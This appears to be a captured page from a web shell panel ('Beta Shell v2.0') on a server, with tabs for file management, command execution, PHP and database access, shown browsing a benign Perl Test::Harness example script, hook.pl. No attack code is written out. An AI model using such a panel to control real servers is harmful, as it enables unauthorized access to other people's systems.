Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
doc
/
perl-Test-Harness
/
examples
/
harness-hook
Upload
4 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
hook.pl
305 B
-rwxr-xr-x
2016-09-11 08:19:30
Edit
Del
lib
-
drwxr-xr-x
2022-02-22 11:42:53
Del
Editing: hook.pl
(305 B)
Path: /usr/share/doc/perl-Test-Harness/examples/harness-hook/hook.pl
Back
#!/usr/bin/perl use strict; use warnings; use lib qw( lib ../../lib ); use Harness::Hook; use TAP::Harness; use File::Spec; $| = 1; my $harness = TAP::Harness->new; # Install the hook Harness::Hook->new($harness); $harness->runtests( File::Spec->catfile( split( /\//, '../../t/000-load.t' ) ) );